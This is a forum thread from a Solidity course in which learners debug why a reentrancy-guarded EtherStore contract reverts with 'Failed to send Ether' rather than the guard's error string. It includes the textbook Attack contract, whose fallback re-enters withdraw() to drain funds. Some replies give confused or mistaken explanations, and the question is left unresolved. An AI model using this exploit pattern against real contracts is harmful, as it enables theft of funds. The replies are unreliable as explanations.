Lesson 15: doubt reg. ReentrancyGuard

[ManuWeb3]

Hi all,

I'm wondering why "Failed to send Ether" error string shows up when the transaction reverts instead of "Reentrancy call..reverting" error string ?

When ReentrancyGuard is in place in the withdraw( ) and .attack( ) is invoked, it reverts in the second loop of its nested callback because lock got set to true in the first iteration, which means require(!lock, "Reentrancy call..reverting"); reverted the nested callback by .attack().

So, why we see error string of require(sent, "Failed to send Ether"); ?

Is it because when withdraw() reverted (due to lock set to true), .call() failed and sent got set to false ?
OR
something else fired the string "Failed to send Ether" instead of "Reentrancy call..reverting" ?

=====================

contract EtherStore {
    mapping(address => uint) public balances;

    bool public lock;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }


    function withdraw() public {
        require(!lock, "Reentrancy call..reverting");
        lock = true;
        // code
        uint bal = balances[msg.sender];
        require(bal > 0);
        // state changed before transfering the NFT
        balances[msg.sender] = 0;
        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");
        // reset the 'lock' = re-lock the function before concluding
        lock = false;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // Fallback is called when EtherStore sends Ether to this contract.
    fallback() external payable {
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        etherStore.deposit{value: 1 ether}();
        etherStore.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

[krakxn]

First of all, to clear your confusion of require: require(bool condition) here, if the condition is not true, this method call reverts to original state (optionally, with an error string)

So,

require(!lock, "Reentrancy call..reverting");

since bool public lock; is lock = false

the require statement proceeds w/o error string because !lock = true; since condition is true, the state is not reverted.

Consequently, the Failed to send Ether error arises later on in the same function.

[ManuWeb3]

Hey @krakxn .. thanks for sparing your time on this.

I believe the second iteration of withdraw() upon callback within fallback() sends the control to require(!lock, "Reentrancy call..reverting");.

Here, lock is already true (chanegd in first original iteration false -> true), which means !lock = false, so, this should revert with the error string : "Reentrancy call..reverting" and not the one: "Failed to send Ether".

Just in case, to make my above argument clearer, here is the flow of control that I understood. Please correct me if I miss something here:

• bool public lock (set to false) ->
• deposit ( 1 Eth deposited by Non-attacker ) ->
• Attack.attack( 1 Eth deposited by Attacker) ->
• EtherStore.deposit() ->
• EtherStore.withdraw() ->
• lock set to true (first original iteration) ->
• msg.sender.call{value: bal}(""); ->
• Attack.fallback (receives 1 Ether) ->
• EtherStore.withdraw() (second iteration upon callback)->
• require(!lock, "Reentrancy call..reverting"); ->
• !lock is false now, hence revert exactly at this point. So, string-display should be Reentrancy call..reverting

Did I misinterpret something here ?

[alymurtazamemon]

@ManuWeb3 Wrap the address in a payable because you are going to send money to it.

(bool sent, ) = payable(msg.sender).call{value: bal}("");

[ManuWeb3]

Any inputs on the primary question above regarding the error-string ??

[alymurtazamemon]

@ManuWeb3 It is working for me.

[ManuWeb3]

@alymurtazamemon ... I see you ran Etherstore.withdraw(). That works without any issue.

But, my questions is regarding the error string upon revert.

When I run Attack.attack() (along with sending some ETH), it reverts, which is expected but it displays "Failed to send Ether". whereas it should display Reentrancy call..reverting because, as per my understanding, it got reverted exactly at this point require(!lock, "Reentrancy call..reverting"); and NOT at this point require(sent, "Failed to send Ether");.

You can scroll above, where I wrote the entire flow of the control, as per my understanding.

[alymurtazamemon]

@ManuWeb3 For that you need to make the lock value true initially, but this way the owner will also not be able to withdraw as well, so you need to make a modifier for it or you should import the actual ReentrancyGuard from Openzeppelin.

You can also add a setter for the lock variable and add the onlyOwner modifier with it so the owner of the actual contract can set it to true whenever he/she wants to withdraw and at the end, it again turns to false.

[ManuWeb3]

@alymurtazamemon I highly appreciate you for sparing your time on this issue.

Though it does not stop my work by any means but it's just that I'm trying to understand the control at a deeper level and, hence, not able to wrap my head around why ReentrancyGuard: reentrant call is not shown as the error string in the output.

Noted all your points but the questions still remains.

Now, I've also imported ReentrancyGuard.sol from Openzeppelin and added the nonReentrant modifier to the withdraw() and re-ran Attack.attack().

Still, I did not see the revert error string: "ReentrancyGuard: reentrant call" despite the fact that control reverts exactly at this line of code: require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); in ReentrancyGuard.sol.

withdraw() + nonReentrant

function withdraw() public nonReentrant {
        // require(!lock, "Reentrancy call..reverting");
        // lock = true;
        // code
        uint bal = balances[msg.sender];
        require(bal > 0);
        // state changed before transfering the NFT
        balances[msg.sender] = 0;
        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");
        // reset the 'lock' = re-lock the function before concluding
        // lock = false;
    }

Same Attack.sol contract

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);   
   }

    // Fallback is called when EtherStore sends Ether to this contract.
    fallback() external payable {
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        etherStore.deposit{value: 1 ether}();
        etherStore.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

latest revert output